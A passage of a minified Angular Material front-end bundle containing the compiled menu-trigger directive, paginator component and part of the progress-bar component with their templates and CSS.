Dt{constructor(Ie,te,x,m,b,B,ie,Xe,it){this._overlay=Ie,this._element=te,this._viewContainerRef=x,this._menuItemInstance=B,this._dir=ie,this._focusMonitor=Xe,this._ngZone=it,this._overlayRef=null,this._menuOpen=!1,this._closingActionsSubscription=f.w.EMPTY,this._hoverSubscription=f.w.EMPTY,this._menuCloseSubscription=f.w.EMPTY,this._handleTouchStart=wt=>{(0,n.yG)(wt)||(this._openedBy="touch")},this._openedBy=void 0,this.restoreFocus=!0,this.menuOpened=new u.vpe,this.onMenuOpen=this.menuOpened,this.menuClosed=new u.vpe,this.onMenuClose=this.menuClosed,this._scrollStrategy=m,this._parentMaterialMenu=b instanceof Be?b:void 0,te.nativeElement.addEventListener("touchstart",this._handleTouchStart,_e),B&&(B._triggersSubmenu=this.triggersSubmenu())}get _deprecatedMatMenuTriggerFor(){return this.menu}set _deprecatedMatMenuTriggerFor(Ie){this.menu=Ie}get menu(){return this._menu}set menu(Ie){Ie!==this._menu&&(this._menu=Ie,this._menuCloseSubscription.unsubscribe(),Ie&&(this._menuCloseSubscription=Ie.close.subscribe(te=>{this._destroyMenu(te),("click"===te||"tab"===te)&&this._parentMaterialMenu&&this._parentMaterialMenu.closed.emit(te)})))}ngAfterContentInit(){this._handleHover()}ngOnDestroy(){this._overlayRef&&(this._overlayRef.dispose(),this._overlayRef=null),this._element.nativeElement.removeEventListener("touchstart",this._handleTouchStart,_e),this._menuCloseSubscription.unsubscribe(),this._closingActionsSubscription.unsubscribe(),this._hoverSubscription.unsubscribe()}get menuOpen(){return this._menuOpen}get dir(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}triggersSubmenu(){return!(!this._menuItemInstance||!this._parentMaterialMenu)}toggleMenu(){return this._menuOpen?this.closeMenu():this.openMenu()}openMenu(){const Ie=this.menu;if(this._menuOpen||!Ie)return;const te=this._createOverlay(Ie),x=te.getConfig(),m=x.positionStrategy;this._setPosition(Ie,m),x.hasBackdrop=null==Ie.hasBackdrop?!this.triggersSubmenu():Ie.hasBackdrop,te.attach(this._getPortal(Ie)),Ie.lazyContent&&Ie.lazyContent.attach(this.menuData),this._closingActionsSubscription=this._menuClosingActions().subscribe(()=>this.closeMenu()),this._initMenu(Ie),Ie instanceof Be&&(Ie._startAnimation(),Ie._directDescendantItems.changes.pipe((0,H.R)(Ie.close)).subscribe(()=>{m.withLockedPosition(!1).reapplyLastPosition(),m.withLockedPosition(!0)}))}closeMenu(){this.menu?.close.emit()}focus(Ie,te){this._focusMonitor&&Ie?this._focusMonitor.focusVia(this._element,Ie,te):this._element.nativeElement.focus(te)}updatePosition(){this._overlayRef?.updatePosition()}_destroyMenu(Ie){if(!this._overlayRef||!this.menuOpen)return;const te=this.menu;this._closingActionsSubscription.unsubscribe(),this._overlayRef.detach(),this.restoreFocus&&("keydown"===Ie||!this._openedBy||!this.triggersSubmenu())&&this.focus(this._openedBy),this._openedBy=void 0,te instanceof Be?(te._resetAnimation(),te.lazyContent?te._animationDone.pipe((0,j.h)(x=>"void"===x.toState),(0,z.q)(1),(0,H.R)(te.lazyContent._attached)).subscribe({next:()=>te.lazyContent.detach(),complete:()=>this._setIsMenuOpen(!1)}):this._setIsMenuOpen(!1)):(this._setIsMenuOpen(!1),te?.lazyContent?.detach())}_initMenu(Ie){Ie.parentMenu=this.triggersSubmenu()?this._parentMaterialMenu:void 0,Ie.direction=this.dir,this._setMenuElevation(Ie),Ie.focusFirstItem(this._openedBy||"program"),this._setIsMenuOpen(!0)}_setMenuElevation(Ie){if(Ie.setElevation){let te=0,x=Ie.parentMenu;for(;x;)te++,x=x.parentMenu;Ie.setElevation(te)}}_setIsMenuOpen(Ie){this._menuOpen=Ie,this._menuOpen?this.menuOpened.emit():this.menuClosed.emit(),this.triggersSubmenu()&&this._menuItemInstance._setHighlighted(Ie)}_createOverlay(Ie){if(!this._overlayRef){const te=this._getOverlayConfig(Ie);this._subscribeToPositions(Ie,te.positionStrategy),this._overlayRef=this._overlay.create(te),this._overlayRef.keydownEvents().subscribe()}return this._overlayRef}_getOverlayConfig(Ie){return new K.X_({positionStrategy:this._overlay.position().flexibleConnectedTo(this._element).withLockedPosition().withGrowAfterOpen().withTransformOriginOn(".mat-menu-panel, .mat-mdc-menu-panel"),backdropClass:Ie.backdropClass||"cdk-overlay-transparent-backdrop",panelClass:Ie.overlayPanelClass,scrollStrategy:this._scrollStrategy(),direction:this._dir})}_subscribeToPositions(Ie,te){Ie.setPositionClasses&&te.positionChanges.subscribe(x=>{const m="start"===x.connectionPair.overlayX?"after":"before",b="top"===x.connectionPair.overlayY?"below":"above";this._ngZone?this._ngZone.run(()=>Ie.setPositionClasses(m,b)):Ie.setPositionClasses(m,b)})}_setPosition(Ie,te){let[x,m]="before"===Ie.xPosition?["end","start"]:["start","end"],[b,B]="above"===Ie.yPosition?["bottom","top"]:["top","bottom"],[ie,Xe]=[b,B],[it,wt]=[x,m],Vt=0;if(this.triggersSubmenu()){if(wt=x="before"===Ie.xPosition?"start":"end",m=it="end"===x?"start":"end",this._parentMaterialMenu){if(null==this._parentInnerPadding){const Gt=this._parentMaterialMenu.items.first;this._parentInnerPadding=Gt?Gt._getHostElement().offsetTop:0}Vt="bottom"===b?this._parentInnerPadding:-this._parentInnerPadding}}else Ie.overlapTrigger||(ie="top"===b?"bottom":"top",Xe="top"===B?"bottom":"top");te.withPositions([{originX:x,originY:ie,overlayX:it,overlayY:b,offsetY:Vt},{originX:m,originY:ie,overlayX:wt,overlayY:b,offsetY:Vt},{originX:x,originY:Xe,overlayX:it,overlayY:B,offsetY:-Vt},{originX:m,originY:Xe,overlayX:wt,overlayY:B,offsetY:-Vt}])}_menuClosingActions(){const Ie=this._overlayRef.backdropClick(),te=this._overlayRef.detachments(),x=this._parentMaterialMenu?this._parentMaterialMenu.closed:(0,_.of)(),m=this._parentMaterialMenu?this._parentMaterialMenu._hovered().pipe((0,j.h)(b=>b!==this._menuItemInstance),(0,j.h)(()=>this._menuOpen)):(0,_.of)();return(0,E.T)(Ie,x,m,te)}_handleMousedown(Ie){(0,n.X6)(Ie)||(this._openedBy=0===Ie.button?"mouse":void 0,this.triggersSubmenu()&&Ie.preventDefault())}_handleKeydown(Ie){const te=Ie.keyCode;(te===s.K5||te===s.L_)&&(this._openedBy="keyboard"),this.triggersSubmenu()&&(te===s.SV&&"ltr"===this.dir||te===s.oh&&"rtl"===this.dir)&&(this._openedBy="keyboard",this.openMenu())}_handleClick(Ie){this.triggersSubmenu()?(Ie.stopPropagation(),this.openMenu()):this.toggleMenu()}_handleHover(){!this.triggersSubmenu()||!this._parentMaterialMenu||(this._hoverSubscription=this._parentMaterialMenu._hovered().pipe((0,j.h)(Ie=>Ie===this._menuItemInstance&&!Ie.disabled),(0,U.g)(0,S.E)).subscribe(()=>{this._openedBy="mouse",this.menu instanceof Be&&this.menu._isAnimating?this.menu._animationDone.pipe((0,z.q)(1),(0,U.g)(0,S.E),(0,H.R)(this._parentMaterialMenu._hovered())).subscribe(()=>this.openMenu()):this.openMenu()}))}_getPortal(Ie){return(!this._portal||this._portal.templateRef!==Ie.templateRef)&&(this._portal=new Q.UE(Ie.templateRef,this._viewContainerRef)),this._portal}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(K.aV),u.Y36(u.SBq),u.Y36(u.s_b),u.Y36(P),u.Y36(ze,8),u.Y36(re,10),u.Y36(k.Is,8),u.Y36(n.tE),u.Y36(u.R0b))},Dt.\\u0275dir=u.lG2({type:Dt,hostVars:3,hostBindings:function(Ie,te){1&Ie&&u.NdJ("click",function(m){return te._handleClick(m)})("mousedown",function(m){return te._handleMousedown(m)})("keydown",function(m){return te._handleKeydown(m)}),2&Ie&&u.uIk("aria-haspopup",te.menu?"menu":null)("aria-expanded",te.menuOpen||null)("aria-controls",te.menuOpen?te.menu.panelId:null)},inputs:{_deprecatedMatMenuTriggerFor:["mat-menu-trigger-for","_deprecatedMatMenuTriggerFor"],menu:["matMenuTriggerFor","menu"],menuData:["matMenuTriggerData","menuData"],restoreFocus:["matMenuTriggerRestoreFocus","restoreFocus"]},outputs:{menuOpened:"menuOpened",onMenuOpen:"onMenuOpen",menuClosed:"menuClosed",onMenuClose:"onMenuClose"}}),Dt})(),Je=(()=>{class Dt extends ct{}return Dt.\\u0275fac=function(){let Pt;return function(te){return(Pt||(Pt=u.n5z(Dt)))(te||Dt)}}(),Dt.\\u0275dir=u.lG2({type:Dt,selectors:[["","mat-menu-trigger-for",""],["","matMenuTriggerFor",""]],hostAttrs:[1,"mat-menu-trigger"],exportAs:["matMenuTrigger"],features:[u.qOj]}),Dt})(),Et=(()=>{class Dt{}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)},Dt.\\u0275mod=u.oAB({type:Dt}),Dt.\\u0275inj=u.cJS({providers:[R],imports:[oe.ez,Ce.BQ,Ce.si,K.U8,ee.ZD,Ce.BQ]}),Dt})()},8739:(At,ae,d)=>{"use strict";d.d(ae,{NW:()=>q,TU:()=>we});var n=d(6895),a=d(4650),s=d(3238),u=d(4859),c=d(4385),f=d(266),E=d(1281),_=d(8929),S=d(9549);function g(ce,je){if(1&ce&&(a.TgZ(0,"mat-option",19),a._uU(1),a.qZA()),2&ce){const Ze=je.$implicit;a.Q6J("value",Ze),a.xp6(1),a.hij(" ",Ze," ")}}function C(ce,je){if(1&ce){const Ze=a.EpF();a.TgZ(0,"mat-form-field",16)(1,"mat-select",17),a.NdJ("selectionChange",function(Oe){a.CHM(Ze);const Qe=a.oxw(2);return a.KtG(Qe._changePageSize(Oe.value))}),a.YNc(2,g,2,2,"mat-option",18),a.qZA()()}if(2&ce){const Ze=a.oxw(2);a.Q6J("appearance",Ze._formFieldAppearance)("color",Ze.color),a.xp6(1),a.Q6J("value",Ze.pageSize)("disabled",Ze.disabled)("panelClass",Ze.selectConfig.panelClass||"")("disableOptionCentering",Ze.selectConfig.disableOptionCentering)("aria-label",Ze._intl.itemsPerPageLabel),a.xp6(1),a.Q6J("ngForOf",Ze._displayedPageSizeOptions)}}function z(ce,je){if(1&ce&&(a.TgZ(0,"div",20),a._uU(1),a.qZA()),2&ce){const Ze=a.oxw(2);a.xp6(1),a.Oqu(Ze.pageSize)}}function H(ce,je){if(1&ce&&(a.TgZ(0,"div",12)(1,"div",13),a._uU(2),a.qZA(),a.YNc(3,C,3,8,"mat-form-field",14),a.YNc(4,z,2,1,"div",15),a.qZA()),2&ce){const Ze=a.oxw();a.xp6(2),a.hij(" ",Ze._intl.itemsPerPageLabel," "),a.xp6(1),a.Q6J("ngIf",Ze._displayedPageSizeOptions.length>1),a.xp6(1),a.Q6J("ngIf",Ze._displayedPageSizeOptions.length<=1)}}function j(ce,je){if(1&ce){const Ze=a.EpF();a.TgZ(0,"button",21),a.NdJ("click",function(){a.CHM(Ze);const Oe=a.oxw();return a.KtG(Oe.firstPage())}),a.O4$(),a.TgZ(1,"svg",7),a._UZ(2,"path",22),a.qZA()()}if(2&ce){const Ze=a.oxw();a.Q6J("matTooltip",Ze._intl.firstPageLabel)("matTooltipDisabled",Ze._previousButtonsDisabled())("matTooltipPosition","above")("disabled",Ze._previousButtonsDisabled()),a.uIk("aria-label",Ze._intl.firstPageLabel)}}function U(ce,je){if(1&ce){const Ze=a.EpF();a.O4$(),a.kcU(),a.TgZ(0,"button",23),a.NdJ("click",function(){a.CHM(Ze);const Oe=a.oxw();return a.KtG(Oe.lastPage())}),a.O4$(),a.TgZ(1,"svg",7),a._UZ(2,"path",24),a.qZA()()}if(2&ce){const Ze=a.oxw();a.Q6J("matTooltip",Ze._intl.lastPageLabel)("matTooltipDisabled",Ze._nextButtonsDisabled())("matTooltipPosition","above")("disabled",Ze._nextButtonsDisabled()),a.uIk("aria-label",Ze._intl.lastPageLabel)}}let G=(()=>{class ce{constructor(){this.changes=new _.xQ,this.itemsPerPageLabel="Items per page:",this.nextPageLabel="Next page",this.previousPageLabel="Previous page",this.firstPageLabel="First page",this.lastPageLabel="Last page",this.getRangeLabel=(Ze,le,Oe)=>{if(0==Oe||0==le)return`0 of ${Oe}`;const Qe=Ze*le;return`${Qe+1} \\u2013 ${Qe<(Oe=Math.max(Oe,0))?Math.min(Qe+le,Oe):Qe+le} of ${Oe}`}}}return ce.\\u0275fac=function(Ze){return new(Ze||ce)},ce.\\u0275prov=a.Yz7({token:ce,factory:ce.\\u0275fac,providedIn:"root"}),ce})();const oe={provide:G,deps:[[new a.FiY,new a.tp0,G]],useFactory:function Q(ce){return ce||new G}},K=new a.OlP("MAT_PAGINATOR_DEFAULT_OPTIONS"),se=(0,s.Id)((0,s.dB)(class{}));let ee=(()=>{class ce extends se{constructor(Ze,le,Oe){if(super(),this._intl=Ze,this._changeDetectorRef=le,this._pageIndex=0,this._length=0,this._pageSizeOptions=[],this._hidePageSize=!1,this._showFirstLastButtons=!1,this.selectConfig={},this.page=new a.vpe,this._intlChanges=Ze.changes.subscribe(()=>this._changeDetectorRef.markForCheck()),Oe){const{pageSize:Qe,pageSizeOptions:Ye,hidePageSize:qe,showFirstLastButtons:Ke}=Oe;null!=Qe&&(this._pageSize=Qe),null!=Ye&&(this._pageSizeOptions=Ye),null!=qe&&(this._hidePageSize=qe),null!=Ke&&(this._showFirstLastButtons=Ke)}}get pageIndex(){return this._pageIndex}set pageIndex(Ze){this._pageIndex=Math.max((0,E.su)(Ze),0),this._changeDetectorRef.markForCheck()}get length(){return this._length}set length(Ze){this._length=(0,E.su)(Ze),this._changeDetectorRef.markForCheck()}get pageSize(){return this._pageSize}set pageSize(Ze){this._pageSize=Math.max((0,E.su)(Ze),0),this._updateDisplayedPageSizeOptions()}get pageSizeOptions(){return this._pageSizeOptions}set pageSizeOptions(Ze){this._pageSizeOptions=(Ze||[]).map(le=>(0,E.su)(le)),this._updateDisplayedPageSizeOptions()}get hidePageSize(){return this._hidePageSize}set hidePageSize(Ze){this._hidePageSize=(0,E.Ig)(Ze)}get showFirstLastButtons(){return this._showFirstLastButtons}set showFirstLastButtons(Ze){this._showFirstLastButtons=(0,E.Ig)(Ze)}ngOnInit(){this._initialized=!0,this._updateDisplayedPageSizeOptions(),this._markInitialized()}ngOnDestroy(){this._intlChanges.unsubscribe()}nextPage(){if(!this.hasNextPage())return;const Ze=this.pageIndex;this.pageIndex=this.pageIndex+1,this._emitPageEvent(Ze)}previousPage(){if(!this.hasPreviousPage())return;const Ze=this.pageIndex;this.pageIndex=this.pageIndex-1,this._emitPageEvent(Ze)}firstPage(){if(!this.hasPreviousPage())return;const Ze=this.pageIndex;this.pageIndex=0,this._emitPageEvent(Ze)}lastPage(){if(!this.hasNextPage())return;const Ze=this.pageIndex;this.pageIndex=this.getNumberOfPages()-1,this._emitPageEvent(Ze)}hasPreviousPage(){return this.pageIndex>=1&&0!=this.pageSize}hasNextPage(){const Ze=this.getNumberOfPages()-1;return this.pageIndex<Ze&&0!=this.pageSize}getNumberOfPages(){return this.pageSize?Math.ceil(this.length/this.pageSize):0}_changePageSize(Ze){const Oe=this.pageIndex;this.pageIndex=Math.floor(this.pageIndex*this.pageSize/Ze)||0,this.pageSize=Ze,this._emitPageEvent(Oe)}_nextButtonsDisabled(){return this.disabled||!this.hasNextPage()}_previousButtonsDisabled(){return this.disabled||!this.hasPreviousPage()}_updateDisplayedPageSizeOptions(){this._initialized&&(this.pageSize||(this._pageSize=0!=this.pageSizeOptions.length?this.pageSizeOptions[0]:50),this._displayedPageSizeOptions=this.pageSizeOptions.slice(),-1===this._displayedPageSizeOptions.indexOf(this.pageSize)&&this._displayedPageSizeOptions.push(this.pageSize),this._displayedPageSizeOptions.sort((Ze,le)=>Ze-le),this._changeDetectorRef.markForCheck())}_emitPageEvent(Ze){this.page.emit({previousPageIndex:Ze,pageIndex:this.pageIndex,pageSize:this.pageSize,length:this.length})}}return ce.\\u0275fac=function(Ze){a.$Z()},ce.\\u0275dir=a.lG2({type:ce,inputs:{color:"color",pageIndex:"pageIndex",length:"length",pageSize:"pageSize",pageSizeOptions:"pageSizeOptions",hidePageSize:"hidePageSize",showFirstLastButtons:"showFirstLastButtons",selectConfig:"selectConfig"},outputs:{page:"page"},features:[a.qOj]}),ce})(),q=(()=>{class ce extends ee{constructor(Ze,le,Oe){super(Ze,le,Oe),Oe&&null!=Oe.formFieldAppearance&&(this._formFieldAppearance=Oe.formFieldAppearance)}}return ce.\\u0275fac=function(Ze){return new(Ze||ce)(a.Y36(G),a.Y36(a.sBO),a.Y36(K,8))},ce.\\u0275cmp=a.Xpm({type:ce,selectors:[["mat-paginator"]],hostAttrs:["role","group",1,"mat-paginator"],inputs:{disabled:"disabled"},exportAs:["matPaginator"],features:[a.qOj],decls:14,vars:14,consts:[[1,"mat-paginator-outer-container"],[1,"mat-paginator-container"],["class","mat-paginator-page-size",4,"ngIf"],[1,"mat-paginator-range-actions"],[1,"mat-paginator-range-label"],["mat-icon-button","","type","button","class","mat-paginator-navigation-first",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click",4,"ngIf"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-previous",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["viewBox","0 0 24 24","focusable","false",1,"mat-paginator-icon"],["d","M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-next",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"],["mat-icon-button","","type","button","class","mat-paginator-navigation-last",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click",4,"ngIf"],[1,"mat-paginator-page-size"],[1,"mat-paginator-page-size-label"],["class","mat-paginator-page-size-select",3,"appearance","color",4,"ngIf"],["class","mat-paginator-page-size-value",4,"ngIf"],[1,"mat-paginator-page-size-select",3,"appearance","color"],[3,"value","disabled","panelClass","disableOptionCentering","aria-label","selectionChange"],[3,"value",4,"ngFor","ngForOf"],[3,"value"],[1,"mat-paginator-page-size-value"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-first",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M18.41 16.59L13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-last",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M5.59 7.41L10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z"]],template:function(Ze,le){1&Ze&&(a.TgZ(0,"div",0)(1,"div",1),a.YNc(2,H,5,3,"div",2),a.TgZ(3,"div",3)(4,"div",4),a._uU(5),a.qZA(),a.YNc(6,j,3,5,"button",5),a.TgZ(7,"button",6),a.NdJ("click",function(){return le.previousPage()}),a.O4$(),a.TgZ(8,"svg",7),a._UZ(9,"path",8),a.qZA()(),a.kcU(),a.TgZ(10,"button",9),a.NdJ("click",function(){return le.nextPage()}),a.O4$(),a.TgZ(11,"svg",7),a._UZ(12,"path",10),a.qZA()(),a.YNc(13,U,3,5,"button",11),a.qZA()()()),2&Ze&&(a.xp6(2),a.Q6J("ngIf",!le.hidePageSize),a.xp6(3),a.hij(" ",le._intl.getRangeLabel(le.pageIndex,le.pageSize,le.length)," "),a.xp6(1),a.Q6J("ngIf",le.showFirstLastButtons),a.xp6(1),a.Q6J("matTooltip",le._intl.previousPageLabel)("matTooltipDisabled",le._previousButtonsDisabled())("matTooltipPosition","above")("disabled",le._previousButtonsDisabled()),a.uIk("aria-label",le._intl.previousPageLabel),a.xp6(3),a.Q6J("matTooltip",le._intl.nextPageLabel)("matTooltipDisabled",le._nextButtonsDisabled())("matTooltipPosition","above")("disabled",le._nextButtonsDisabled()),a.uIk("aria-label",le._intl.nextPageLabel),a.xp6(3),a.Q6J("ngIf",le.showFirstLastButtons))},dependencies:[n.sg,n.O5,u.lW,S.KE,c.gD,s.ey,f.gM],styles:[".mat-paginator{display:block}.mat-paginator-outer-container{display:flex}.mat-paginator-container{display:flex;align-items:center;justify-content:flex-end;padding:0 8px;flex-wrap:wrap-reverse;width:100%}.mat-paginator-page-size{display:flex;align-items:baseline;margin-right:8px}[dir=rtl] .mat-paginator-page-size{margin-right:0;margin-left:8px}.mat-paginator-page-size-label{margin:0 4px}.mat-paginator-page-size-select{margin:6px 4px 0 4px;width:56px}.mat-paginator-page-size-select.mat-form-field-appearance-outline{width:64px}.mat-paginator-page-size-select.mat-form-field-appearance-fill{width:64px}.mat-paginator-range-label{margin:0 32px 0 24px}.mat-paginator-range-actions{display:flex;align-items:center}.mat-paginator-icon{display:inline-block;width:28px;fill:currentColor}[dir=rtl] .mat-paginator-icon{transform:rotate(180deg)}.cdk-high-contrast-active .mat-paginator-icon{fill:CanvasText}"],encapsulation:2,changeDetection:0}),ce})(),we=(()=>{class ce{}return ce.\\u0275fac=function(Ze){return new(Ze||ce)},ce.\\u0275mod=a.oAB({type:ce}),ce.\\u0275inj=a.cJS({providers:[oe],imports:[n.ez,u.ot,c.LD,f.AV,s.BQ]}),ce})()},3162:(At,ae,d)=>{"use strict";d.d(ae,{Cv:()=>G,pW:()=>j});var n=d(4650),a=d(6895),s=d(3238),u=d(1281),c=d(2654),f=d(3753),E=d(2198);const _=["primaryValueBar"],S=(0,s.pj)(class{constructor(Q){this._elementRef=Q}},"primary"),g=new n.OlP("mat-progress-bar-location",{providedIn:"root",factory:function C(){const Q=(0,n.f3M)(a.K0),oe=Q?Q.location:null;return{getPathname:()=>oe?oe.pathname+oe.search:""}}}),z=new n.OlP("MAT_PROGRESS_BAR_DEFAULT_OPTIONS");let H=0,j=(()=>{class Q extends S{constructor(Ce,k,K,se,ee,q){super(Ce),this._ngZone=k,this._animationMode=K,this._changeDetectorRef=q,this._isNoopAnimation=!1,this._value=0,this._bufferValue=0,this.animationEnd=new n.vpe,this._animationEndSubscription=c.w.EMPTY,this.mode="determinate",this.progressbarId="mat-progress-bar-"+H++;const we=se?se.getPathname().split("#")[0]:"";this._rectangleFillValue=`url(\'${we}#${this.progressbarId}\')`,this._isNoopAnimation="NoopAnimations"===K,ee&&(ee.color&&(this.color=this.defaultColor=ee.color),this.mode=ee.mode||this.mode)}get value(){return this._value}set value(Ce){this._value=U((0,u.su)(Ce)||0),this._changeDetectorRef?.markForCheck()}get bufferValue(){return this._bufferValue}set bufferValue(Ce){this._bufferValue=U(Ce||0),this._changeDetectorRef?.markForCheck()}_primaryTransform(){return{transform:`scale3d(${this.value/100}, 1, 1)`}}_bufferTransform(){return"buffer"===this.mode?{transform:`scale3d(${this.bufferValue/100}, 1, 1)`}:null}ngAfterViewInit(){this._ngZone.runOutsideAngular(()=>{const Ce=this._primaryValueBar.nativeElement;this._animationEndSubscription=(0,f.R)(Ce,"transitionend").pipe((0,E.h)(k=>k.target===Ce)).subscribe(()=>{0!==this.animationEnd.observers.length&&("determinate"===this.mode||"buffer"===this.mode)&&this._ngZone.run(()=>this.animationEnd.next({value:this.value}))})})}ngOnDestroy(){this._animationEndSubscription.unsubscribe()}}return Q.\\u0275fac=function(Ce){return new(Ce||Q)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(n.QbO,8),n.Y36(g,8),n.Y36(z,8),n.Y36(n.sBO))},Q.\\u0275cmp=n.Xpm({type:Q,selectors:[["mat-progress-bar"]],viewQuery:function(Ce,k){if(1&Ce&&n.Gf(_,5),2&Ce){let K;n.iGM(K=n.CRH())&&(k._primaryValueBar=K.first)}},hostAttrs:["role","progressbar","aria-valuemin","0","aria-valuemax","100","tabindex","-1",1,"mat-progress-bar"],hostVars:4,hostBindings:function(Ce,k){2&Ce&&(n.uIk("aria-valuenow","indeterminate"===k.mode||"query"===k.mode?null:k.value)("mode",k.mode),n.ekj("_mat-animation-noopable",k._isNoopAnimation))},inputs:{color:"color",value:"value",bufferValue:"bufferValue",mode:"mode"},outputs:{animationEnd:"animationEnd"},exportAs:["matProgressBar"],features:[n.qOj],decls:10,vars:4,consts:[["aria-hidden","true"],["width","100%","height","4","focusable","false",1,"mat-progress-bar-background","mat-progress-bar-element"],["x","4","y","0","width","8","height","4","patternUnits","userSpaceOnUse",3,"id"],["cx","2","cy","2","r","2"],["width","100%","height","100%"],[1,"mat-progress-bar-buffer","mat-progress-bar-element",3,"ngStyle"],[1,"mat-progress-bar-primary","mat-progress-bar-fill","mat-progress-bar-element",3,"ngStyle"],["primaryValueBar",""],[1,"mat-progress-bar-secondary","mat-progress-bar-fill","mat-progress-bar-element"]],template:function(Ce,k){1&Ce&&(n.TgZ(0,"div",0),n.O4$(),n.TgZ(1,"svg",1)(2,"defs")(3,"pattern",2),n._UZ(4,"circle",3),n.qZA()(),n._UZ(5,"rect",4),n.qZA(),n.kcU(),n._UZ(6,"div",5)(7,"div",6,7)(9,"div",8),n.qZA()),2&Ce&&(n.xp6(3),n.Q6J("id",k.progressbarId),n.xp6(2),n.uIk("fill",k._rectangleFillValue),n.xp6(1),n.Q6J("ngStyle",k._bufferTransform()),n.xp6(1),n.Q6J("ngStyle",k._primaryTransform()))},dependencies:[a.PC],styles:[\'.mat-progress-bar{display:block;height:4px;overflow:hidden;position:relative;transition:opacity 250ms linear;width:100%}.mat-progress-bar._mat-animation-noopable{transition:none !important;animation:none !important}.mat-progress-bar .mat-progress-bar-element,.mat-progress-bar .mat-progress-bar-fill::after{height:100%;position:absolute;width:100%}.mat-progress-bar .mat-progress-bar-background{width:calc(100% + 10px)}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-background{display:none}.mat-progress-bar .mat-progress-bar-buffer{transform-origin:top left;transition:transform 250ms ease}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-buffer{border-top:solid 5px;opacity:.5}.mat-progress-bar .mat-progress-bar-secondary{display:none}.mat-progress-bar .mat-progress-bar-fill{animation:none;transform-origin:top left;transition:transform 250ms ease}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-fill{border-top:solid 4px}.mat-progress-bar .mat-progress-bar-fill::after{animation:none;content:"";display:inline-block;left:0}.mat-progress-bar[dir=rtl],[dir=rtl] .mat-progress-bar{transform:rotateY(180deg)}.mat-progress-bar[mode=query]{transform:rotateZ(180deg)}.mat-progress-bar[mode=query][dir=rtl],[dir=rtl] .mat-progress-bar[mode=query]{transform:rotateZ(180deg) rotateY(180deg)}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-fill,.mat-progress-bar[mode=query] .mat-progress-bar-fill{transition:none}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-primary,.mat-progress-bar[mode=query] .mat-progress-bar-primary{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-primary-indeterminate-translate 2000ms infinite linear;left:-145.166611%}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-primary.mat-progress-bar-fill::after,.mat-progress-bar[mode=query] .mat-progress-bar-primary.mat-progress-bar-fill::after{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-primary-indeterminate-scale 2000ms infinite linear}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-secondary,.mat-progress-bar[mode=query] .mat-progress-bar-secondary{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-secondary-indeterminate-translate 2000ms infinite linear;left:-54.888891%;display:block}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-secondary.mat-progress-bar-fill::after,.mat-progress-bar[mode=query] .mat-progress-bar-secondary.mat-progress-bar-fill::after{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-secondary-indeterminate-scale 2000ms infinite linear}.mat-progress-bar[mode=buffer] .mat-progress-bar-background{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-background-scroll 250ms infinite linear;display:block}.mat-progress-bar._mat-animation-noopable .mat-progress-bar-fill,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-buffer,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-primary,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-primary.mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-secondary,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-secondary.mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-background{animation:none;transition-duration:1ms}@keyframes mat-progress-bar-primary-indeterminate-translate{0%{transform:translateX(0)}20%{animation-timing-function:cubic-bezier(0.5, 0, 0.701732, 0.495819);transform:translateX(0)}59.15%{animation-timing-function:cubic-bezier(0.302435, 0.381352, 0.55, 0.956352);transform:translateX(83.67142%)}100%{transform:translateX(200.611057%)}}@keyframes mat-progress-bar-primary-indeterminate-scale{0%{transform:scaleX(0.08)}36.65%{animation-timing-function:cubic-bezier(0.334731, 0.12482, 0.785844, 1);transform:scaleX(0.08)}69.15%{animation-timing-function:cubic-bezier(0.06, 0.11, 0.6, 1);transform:scaleX(0.661479)}100%{transform:scaleX(0.08)}}@keyframes mat-progress-bar-secondary-indeterminate-translate{0%{animation-timing-function:cubic-bezier(0.15, 0, 0.515058, 0.409685);transform:translateX(0)}25%{animation-timing-function:cubic-bezier(0.31033, 0.284058, 0.8, 0.733712);transform:translateX(37.651913%)}48.35%{animation-timing-function:cubic-bezier(0.4, 0.627035, 0.6, 0.902026);transform:translateX(84.386165%)}100%{transform:translateX(160.277782%)}}@keyframes mat-progress-bar-secondary-indeterminate-scale{0%{animation-timing-function:cubic-bezier(0.15, 0, 0.515058, 0.409685);transform:scaleX(0.08)}19.15%{animation-timing-function:cubic-bezier(0.31033, 0.284058, 0.8, 